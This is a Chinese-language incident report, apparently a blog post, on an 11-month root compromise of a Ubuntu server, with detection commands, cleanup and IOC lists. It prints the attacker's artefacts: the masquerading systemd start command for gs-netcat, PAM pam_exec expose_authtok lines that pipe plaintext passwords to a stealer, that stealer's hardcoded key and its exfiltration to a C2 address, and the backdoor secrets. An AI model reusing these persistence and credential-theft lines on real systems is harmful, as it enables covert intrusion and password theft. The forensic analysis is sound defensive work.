病毒分析6

u20 服务器入侵事件 · 完整分析报告

  • 主机:u20(192.168.1.12),Ubuntu 20.04.6 LTS,内核 5.4.0-216
  • 发现时间:2026-10-24
  • 报告时间:2026-10-24
  • 结论:主机自 2025-11-27 起被植入 root 级后门,攻击者至少维持了 11 个月的访问,期间窃取全部账号明文口令、替换系统诊断工具、按需投放门罗币挖矿程序。

0. 一页摘要

维度 结论
是否失陷 是,且为 root 级完全控制
最早痕迹 2025-11-27 02:15
最后活动 2026-10-19 14:10(最后一次记录口令),2026-10-10 启用后门服务
入口 弱口令(123456 / q),非漏洞利用
后门数量 2 条独立远控通道(gs-netcat、gs-dbus)+ 1 条凭据窃取链
持久化 systemd 伪装单元 ×2、PAM 钩子 ×4
数据泄露 14 个账号、98 条明文口令(含 root)
反取证 替换 ss/lsof、chattr +i、时间戳归零
挖矿 XMRig,按需投放、不落地,大页参数已调优
当前状态 已知后门已清除,监控已上线;密码仍未修改

1. 判定依据(为什么确定是失陷,而不是误报)

判定不依赖单一工具(ss/lsof 本身已被替换),而是四类互相独立的证据:

证据类型 内容 可信度
文件系统 多个不属于任何 deb 包、带攻击者密钥的二进制 高
进程 argv0 伪装成 [kworker/88:9] 但父进程是 PID 1 高
内核数据 直接读 /proc/net/*、/proc/*/exe,绕过被替换的工具 高
密码学 用二进制内硬编码密钥成功解密 98 条记录(GCM 校验全过) 最高

密码学证据是决定性的:只有密钥、算法、格式全部正确,AES-GCM 的认证标签才会通过。98/98 条解密成功,证明该二进制确实在收集并加密口令。


2. 时间线

时间 事件 证据
2025-11-27 02:15 首次植入:gs-netcat、两个 systemd 单元、PAM 钩子、grubnv、watching 文件 mtime、目录创建时间
2026-01-23 08:57 加装 expose_authtok 口令窃取、写入 vm.nr_hugepages、生成 .lock 文件 mtime、/etc/pam.d/common-auth mtime
2026-02-11 更新 gs-netcat 二进制 /usr/lib/sshd mtime
2026-09-17 05:09 替换 ss / lsof 为伪造版本并 chattr +i 文件 mtime、属性、编译工具链
2026-10-10 15:03 启用并启动 systemd-udev-sessions.service,后门常驻 systemd 状态、进程启动时间
2026-10-19 14:10 tool.log 最后一次写入(抓到最后的明文口令) 文件 mtime
2026-10-24 10:31 清理后门 处置记录
2026-10-24 11:46 gs-dbus 清除 处置记录
2026-10-24 12:54 IOC 巡检服务上线 服务状态

时间线有两个"安装窗口"(2025-11-27、2026-01-23),说明攻击者分阶段部署:先开门,再上窃密和挖矿优化。


3. 恶意组件逐个分析

3.1 通道 A:gs-netcat(主远控)

项 值
路径 /lib/sshd、/usr/lib/sshd、/usr/bin/nvme(同一文件三份)
SHA256 73925dcd7aabda2fbe487dda75ad8b57f56e45c9f44915bdcada328a3190aa01
大小 4,206,056 字节,静态链接
真实身份 gs-netcat 1.4.42(Global Socket)
密钥文件 /lib/grub.log、/lib/os-releases
密钥 pzzG4yO8BqmqbGxz6qeWOz1
伪装 exec -a '[kworker/88:9]',comm 显示 sshd

启动命令(来自 systemd 单元):

/bin/bash -c "GS_ARGS='-k /lib/grub.log -ilq' exec -a '[kworker/88:9]' '/lib/sshd'"

逻辑:

  1. 从 /lib/grub.log 读 23 字节密钥;
  2. 通过 Global Socket 中继网络与攻击者建立加密连接(主动外连,不需要本机开放端口);
  3. 攻击者获得 root shell,可执行任意命令、上传下载文件;
  4. 挖矿程序就是通过这条 shell 按需投放的。

为什么难发现:进程名是内核线程格式,ps 里一眼扫过去像 [kworker/...];连接是外连到中继,入站防火墙看不到。


3.2 通道 B:gs-dbus(备用远控)

项 值
路径 /usr/bin/gs-dbus(已删除)
SHA256 cb5f62bf7b591e69bd38e6bf8e40e8d307d154b2935703422d44f02e403d2e78
大小 1,119,532 字节(UPX 加壳),解包后 2,513,632
归属 不属于任何 deb 包
时间戳 归零到 2000-01-01 08:00
密钥文件 /usr/lib/systemd/system/gs-dbus.dat(23 字节,伪装成 systemd 单元)
密钥 56mDaeRiEBkKAfc26onqhU
版本 gsocket 套件(gs-netcat.c、gsocket-engine.c、OpenSSL 1.1.1k)

逻辑:

  1. UPX 加壳规避字符串扫描;
  2. .dat 后缀让 systemd 不会加载,纯粹把密钥藏在"看起来像系统单元"的文件里;
  3. 由攻击者通过通道 A 手动启动,与通道 A 互为备份;
  4. 本机无任何持久化引用(无 crontab、无 unit、无 rc),属于"休眠后门"。

与通道 A 的区别:密钥完全不同。说明攻击者为每条通道单独配置,不是简单复制。


3.3 持久化:systemd 伪装单元

文件 状态 说明
/etc/systemd/system/systemd-udev-sessions.service 曾 enabled + running 伪装成 udev/D-Bus 服务,Description=D-Bus System Connection Bus
/lib/systemd/system/systemd-udev-sessions.service 残留副本 与上者同名但 Restart=always、RestartSec=300
/lib/systemd/system/NetworkManager-w-online.service disabled 伪装成 NetworkManager(真名是 NetworkManager-wait-online),Restart=always、RestartSec=1200

逻辑:

  • 用系统服务名做掩护,systemctl list-units 里混在正常服务中;
  • Restart=always 保证被杀后自动复活(20 分钟 / 5 分钟周期);
  • WorkingDirectory=/root 暴露了攻击者的操作习惯。

注意:NetworkManager-w-online 比真名少一个 ait,是典型的拼写混淆。


3.4 PAM 后门:口令窃取链

注入位置(4 处):

文件:行 内容 作用
common-auth:27 auth optional pam_exec.so quiet expose_authtok /boot/grub/grubnv 拦截所有认证,把明文口令交给 grubnv
common-auth:28 session optional pam_exec.so quiet /usr/bin/fd-monitor 会话钩子
common-session:32 session optional pam_exec.so quiet /usr/bin/watching 会话钩子/自愈
sshd:56 session optional pam_exec.so quiet /usr/bin/watching SSH 会话钩子

expose_authtok 是关键:它让 PAM 把用户输入的密码通过 stdin 传给外部程序。即使是 su、sudo 也会触发。


3.5 grubnv:口令窃取器(核心)

项 值
路径 /boot/grub/grubnv(伪装成 grub EFI 模块)
SHA256 876e2341d00455e638758dd15bada3130950b8dba105ca99dd3446760c8d85bb
大小 3,143,298 字节,Go 静态编译,未 strip
源码路径 /root/final/build/root5.go
符号 main.PASSWORD、main.readLines、main.isDuplicate、main.encryptAES、main.decryptAES

逆向结论(由反汇编 + 解密验证):

读 stdin(PAM 传入的明文口令)
   ↓
拼接 "用户名 口令\0来源IP"
   ↓
isDuplicate(与本地已记录去重)
   ↓
AES-256-GCM 加密
   key  = "12345678901234567890123456789012"(32 字节,硬编码)
   nonce = 12 字节随机
   tag   = 16 字节
   ↓
hex(nonce ‖ ciphertext ‖ tag),一行一条
   ↓
写 /lib/linux-tools/5.15.0-160-generic/tool.log
   ↓
HTTP multipart POST → 46.8.78.15:8085

关键点:

  • 密钥硬编码在二进制里,不依赖外部文件(这一点与最初猜测不同,已修正);
  • 落盘路径伪装成内核工具目录 /lib/linux-tools/5.15.0-160-generic/;
  • 该目录 2025-11-27 创建,tool.log 最后写入 2026-10-19;
  • 文件权限 644,任何本地用户都能读(虽然需要密钥才能解开)。

3.6 watching / fd-monitor:会话钩子

文件 大小 特征
/usr/bin/watching 1,013,736 glibc 静态,符号含 key_with_file、rmarg(抹除命令行)、xsh(执行)
/usr/bin/fd-monitor 936,528 glibc 静态,引用 /var/profile、/bin/sh、/IGNORE

逻辑推断:

  • watching 具备"读密钥文件 → 抹掉自己的 argv → 执行"的能力,典型作用是启动器/看门狗:被 PAM 调用后拉起后门,并把自身命令行擦干净;
  • fd-monitor 引用 /var/profile,可能是另一个落地点或状态文件。

这两个是"自愈"链条的一环:即使主后门被杀,登录时仍可能被重新拉起。


3.7 反取证:伪造 ss / lsof

项 值
路径 /bin/ss(→ /usr/bin/ss)、/usr/bin/lsof
大小 9,005,792 / 9,001,832(官方版 168,800 / 175,744)
SHA256 ceb8971f... / c7987d90...
编译 Alpine musl + GCC 12.2.1(Ubuntu 用的是 GCC 9.4 + glibc)
属性 被 chattr +i 锁定(root 也改不动)
内嵌数据 57 个 IP(ss)、36 个(lsof)

行为验证(决定性):

检查 netstat(正常) ss(伪造)
443 监听 2 0
443 已建立连接 2 0

伪造的 ss 会隐藏所有 443 流量,而 443 正是 gs-netcat/gs-dbus 最常用的端口。内嵌的 IP 清单与 grubnv 的回传地址 46.8.78.15 重合,进一步证明是同一套基础设施。

为什么加 chattr +i:让管理员即使发现也无法直接覆盖,dpkg 会报 unable to make backup link。


3.8 其他遗留物

文件 判断
/usr/bin/.lock(8B,内容 1704429) 可疑,已取证并删除:时间 2026-01-23,与口令窃取同日;内容像 PID,可能是互斥锁/守卫标记
/usr/bin/uptimew 与 /usr/bin/uptime 哈希相同的副本,被 +i 锁定;内容无害,但说明 /usr/bin 被动过
/usr/bin/tclsh8.5 与官方 lsof 哈希相同,是"原版 lsof 的备份副本"
/etc/groff/boot.local 0 字节,groff/man 副产物

3.9 挖矿部分

现象:周期出现 XMRig。

实际机制:

  1. 没有发现常驻矿马二进制——/tmp、/dev/shm、/var/tmp 均无;
  2. /etc/sysctl.conf 被写入 vm.nr_hugepages(运行时实际 3511 页 ≈ 7GB),这是 RandomX 的标准调优;
  3. 因此判断:矿机由攻击者通过 gs-netcat 的 root shell 临时投放,跑完即删(文件不落地,exe 显示 (deleted));
  4. "周期性"来自 NetworkManager-w-online.service 的 RestartSec=1200(20 分钟)以及攻击者手工重连。

4. 组件关系图

                        ┌──────────────────────────────┐
                        │  攻击者(公网,无固定 IP)      │
                        └──────────────┬───────────────┘
                                       │ Global Socket 中继
                 ┌─────────────────────┴─────────────────────┐
                 ▼                                           ▼
    ┌──────────────────────────┐              ┌──────────────────────────┐
    │ 通道 A:gs-netcat         │              │ 通道 B:gs-dbus           │
    │ /lib/sshd (4.2MB)        │              │ /usr/bin/gs-dbus (UPX)    │
    │ secret pzzG4yO8…         │              │ secret 56mDaeRi…          │
    │ 伪装 [kworker/88:9]       │              │ 伪装成 dbus 工具           │
    │ 状态:已清除              │              │ 状态:已清除(原为休眠)    │
    └────────────┬─────────────┘              └────────────┬─────────────┘
                 │ root shell                              │
                 └──────────────┬──────────────────────────┘
                                ▼
              ┌──────────────────────────────────────────┐
              │ 持久化                                    │
              │  systemd-udev-sessions.service            │
              │  NetworkManager-w-online.service          │
              │  (Restart=always,5/20 分钟复活)          │
              └──────────────────┬───────────────────────┘
                                 │ 登录/会话触发
                                 ▼
              ┌──────────────────────────────────────────┐
              │ PAM 后门(common-auth / common-session)   │
              │  ├─ grubnv     ← expose_authtok 抓明文     │
              │  ├─ watching   ← 会话钩子 / 自愈           │
              │  └─ fd-monitor ← 会话钩子                  │
              └──────────────────┬───────────────────────┘
                                 ▼
                   tool.log(AES-256-GCM,98 条)
                                 │ HTTP multipart
                                 ▼
                     46.8.78.15:8085(C2)
                                 │
                                 ▼
              ┌──────────────────────────────────────────┐
              │ 反取证                                    │
              │  伪造 ss / lsof(隐藏 443 + 57 个 C2 IP)  │
              │  chattr +i 锁定文件                       │
              │  时间戳归零(2000-01-01)                  │
              └──────────────────────────────────────────┘
                                 │
                                 ▼
                      XMRig(按需投放,不落地)

5. 攻击链还原

① 初始访问
   弱口令:普通账号 123456 / root 口令 q
   (Samba 匿名共享作为辅助通道:11 个用户 home 以 public=yes 暴露)

② 权限维持
   写入 PAM 钩子(每次登录都执行)
   写入 systemd 伪装单元(开机自启 + 自动重启)

③ 凭据收集
   expose_authtok 截获所有登录/su/sudo 的明文口令
   AES-256-GCM 加密后本地留存 + HTTP 外传

④ 内网扩散
   13 个账号全部具备 sudo;同一套口令在实验室内多机复用
   → 攻击者可横向登录其他主机

⑤ 资源利用
   调优大页参数,通过 root shell 临时运行 XMRig

⑥ 反取证
   替换 ss/lsof 隐藏 C2 流量
   chattr +i 阻止覆盖
   .dat 后缀、内核线程名、伪装路径

6. 影响评估

资产 影响
root 权限 完全失控约 11 个月
14 个账号口令 明文泄露(98 次登录记录)
13 个 sudo 用户 任一账号泄露 = 整机 root
用户数据 /home3 下所有代码、文档可被读取
GitLab gitlab-secrets.json、CI 变量、Deploy Key 可能被读取
Samba 11 个 home 匿名可读写
内网 同一套弱口令可能已被用于其他主机
挖矿 长期占用 CPU,电费与性能损失

特别说明:由于攻击者拿到的口令可能与其他系统相同,必须假设内网其他主机也有风险,逐一排查。


7. 验证方法(本次实际执行)

7.1 不依赖被污染的工具

ss/lsof 已被替换,因此所有网络结论都改为直接解析内核数据:

# 监听与连接(绕过 ss)
awk 'NR>1 && $4=="0A"{split($2,a,":"); print strtonum("0x"a[2])}' /proc/net/tcp
awk 'NR>1 && $4=="01"{print $2" -> "$3}' /proc/net/tcp

正是这一步发现了 ss 隐藏 443 的行为。

7.2 进程伪装识别

for p in /proc/[0-9]*; do
  c=$(tr '\0' ' ' < "$p/cmdline")
  case "$c" in \[*) pp=$(awk '{print $4}' "$p/stat")
    [ "$pp" != "2" ] && echo "伪装: ${p#/proc/} $c";; esac
done

内核线程的父进程是 PID 2,伪装的不是——一条判据就能区分。

7.3 文件完整性

dpkg -V                    # 发现 ss/lsof 被替换
lsattr /usr/bin/ss         # 发现 chattr +i
file /usr/bin/ss           # 发现 Alpine 静态编译

7.4 二进制逆向

  • strings 提取符号与字符串(Go 未 strip,符号表直接暴露功能);
  • objdump -d 反汇编 main.encryptAES,确认 AES-GCM 与密钥长度;
  • 读取 .noptrdata 中的 32 字节常量,得到硬编码密钥;
  • upx -d 解包 gs-dbus。

7.5 密码学验证

AESGCM(b"12345678901234567890123456789012").decrypt(nonce, ct, None)

98 条全部通过认证标签校验 → 算法与密钥无误。

7.6 家目录精准排查(不扫盘)

不遍历几十 T 数据,只做:

  • 枚举 home 目录一层;
  • 对每个 home stat 固定路径(.config/dbus、.gsocket 等);
  • 在 ~/.config 内 maxdepth 3 检查可执行文件 / ELF 魔数 / user unit / autostart;
  • 从 /proc/*/exe 反查运行中的进程。

结论:26 个 home 全部干净,用户级无后门。


8. 处置记录

已完成的清理

项 结果
gs-netcat(3 份副本) 已删除
gs-dbus + .dat 已删除
systemd 伪装单元(/etc + /lib) 已删除并 daemon-reload
PAM 4 处注入 已清除
grubnv / watching / fd-monitor 已删除
ss / lsof chattr -i 后用官方包重装
uptimew 已解除 +i 并删除
大页配置 已从 sysctl.conf 移除,运行时归零
凭据日志 tool.log 已解密取证后删除
/usr/bin/.lock 已取证(dot-lock.bin,SHA256 313e94b8…)并删除
防火墙 ufw 启用,仅放行 192.168.1.0/24
审计 auditd + 关键路径规则
监控 ir-watchdog v4(inotify + 定点检查)

尚未完成(重要)

项 说明
修改所有密码 最高优先级;123456 / q 仍然有效
Samba 匿名共享 11 个 home 仍 public=yes
SSH 密码登录 仍允许
sudoers 12 个用户仍有直接 ALL=(ALL:ALL) ALL
GitLab 凭据轮换 CI 变量、Deploy Key、Runner token
出站管控 gs-netcat 是外连型,入站防火墙拦不住
重装 建议执行

9. 加固方案

立刻(今天)

# 1. 改密
passwd                                   # root
for u in yangx; do passwd "$u"; done

# 2. 关 Samba 匿名
sudo bash /home3/yangx/ir-20261024/harden.sh --samba

# 3. 关 SSH 密码登录(先确认密钥可用)
sudo bash /home3/yangx/ir-20261024/harden.sh --ssh

本周

  • 收回 sudo(--sudoers),按需 usermod -aG sudo
  • 轮换 GitLab 全部密钥
  • 出站白名单(只放行更新源与业务端口)
  • 家目录权限 chmod 750

根治

重装系统。理由:

  1. root 级后门持续 11 个月,且攻击者主动反取证;
  2. 每次排查都能发现新组件(gs-netcat → gs-dbus → ss/lsof → .lock);
  3. 口令与密钥全部泄露;
  4. 无法证明没有更深的植入(内核模块、固件、容器镜像)。

10. 复核清单

# 后门文件
for f in /lib/sshd /usr/bin/nvme /boot/grub/grubnv /usr/bin/watching \
         /usr/bin/fd-monitor /usr/bin/gs-dbus /usr/lib/systemd/system/gs-dbus.dat \
         /lib/grub.log /lib/os-releases; do [ -e "$f" ] && echo "残留: $f"; done

# PAM
grep -rn pam_exec /etc/pam.d/

# 伪装进程
for p in /proc/[0-9]*; do c=$(tr '\0' ' ' < "$p/cmdline"); case "$c" in \[*) echo "${p#/proc/} $c";; esac; done

# 不可变属性
lsattr /usr/bin/ss /usr/bin/lsof /usr/bin/uptimew 2>/dev/null

# 网络安全(绕过 ss)
awk 'NR>1{print $3}' /proc/net/tcp | grep -v '0100007F'

# 巡检
sudo ir-watchdog --status

11. 附录 A:IOC 清单

文件

/lib/sshd  /usr/lib/sshd  /usr/bin/nvme
/lib/grub.log  /lib/os-releases
/boot/grub/grubnv
/usr/bin/watching  /usr/bin/fd-monitor
/usr/bin/gs-dbus  /usr/lib/systemd/system/gs-dbus.dat
/lib/linux-tools/5.15.0-160-generic/tool.log
/usr/bin/.lock  /usr/bin/uptimew  /usr/bin/tclsh8.5
/etc/systemd/system/systemd-udev-sessions.service
/lib/systemd/system/systemd-udev-sessions.service
/lib/systemd/system/NetworkManager-w-online.service

哈希(SHA256)

文件 哈希
gs-netcat 73925dcd7aabda2fbe487dda75ad8b57f56e45c9f44915bdcada328a3190aa01
grubnv 876e2341d00455e638758dd15bada3130950b8dba105ca99dd3446760c8d85bb
watching 9fe3bee06c46fff73c7cebfac40b40e08428f60e82c55305fe5e1774a1d30949
fd-monitor 07903ddd036eb8389c13d298dd4a5a17f46499c83d2ffcb491995ddfe5eeab5c
gs-dbus cb5f62bf7b591e69bd38e6bf8e40e8d307d154b2935703422d44f02e403d2e78
gs-dbus.dat 731d3899feb8af1fc1eb6794a9cc453b30f4116cd18cf53fa8201d0abb3e3bf7
伪造 ss ceb8971f12a73940c506f78514fcfba57e253a751d702ebaaf297dc20ca17f2b
伪造 lsof c7987d90d76f615929c244d9c803d820841178dabc06babe1ebe7b73a3195417
uptimew 9ebbe926e7b606b6d321a0f5e48d13fbaa395bd4287e82164a04dd679da8391d

密钥 / 字符串

pzzG4yO8BqmqbGxz6qeWOz1        gs-netcat secret
56mDaeRiEBkKAfc26onqhU         gs-dbus secret
12345678901234567890123456789012   grubnv AES-256 密钥
46.8.78.15:8085                grubnv 回传地址
exec -a '[kworker/88:9]'       进程伪装
pam_exec.so ... expose_authtok PAM 注入特征

网络

  • C2:46.8.78.15:8085
  • 伪造 ss/lsof 内嵌 57 个 IP(见 fake_tools_iocs.txt)
  • 矿池/隧道端口:3333 5555 14444 59200 9050 1080

12. 附录 B:脚本与取证文件

文件 用途
REPORT.md 首次分析报告
INCIDENT-REPORT-FULL.md 本报告
cleanup.sh 首次清理(已执行)
harden.sh 加固(--samba / --ssh / --sudoers)
verify.sh 清理后复核
sweep_gsocket.sh gsocket 家族批量排查
check_home_config.sh home 定点排查
audit_user_config.sh ~/.config 异常审计
ir-watchdog-v4.sh 巡检服务源码
decrypt_tool_log.py 凭据日志解密
fake_ss / fake_lsof / gs-dbus.packed 恶意样本
decrypted_tool_log.txt 解密的 98 条凭据(600,敏感)
SHA256SUMS.txt 取证哈希清单

13. 结论

这不是一次"中了挖矿病毒"的简单事件,而是一次持续 11 个月的 root 级长期控制:

  • 攻击者掌握了两条独立远控通道;
  • 系统性地收集了全部账号口令;
  • 主动替换诊断工具、锁定文件、清理痕迹;
  • 挖矿只是其资源变现的副产物。

当前主机应视为不可信。 已知组件已清除、监控已上线,但只有"重装 + 全量更换凭据"才能恢复可信状态。

posted @ 2026-10-24 14:15  杨旭0324  阅读(5)  评论(0)    收藏  举报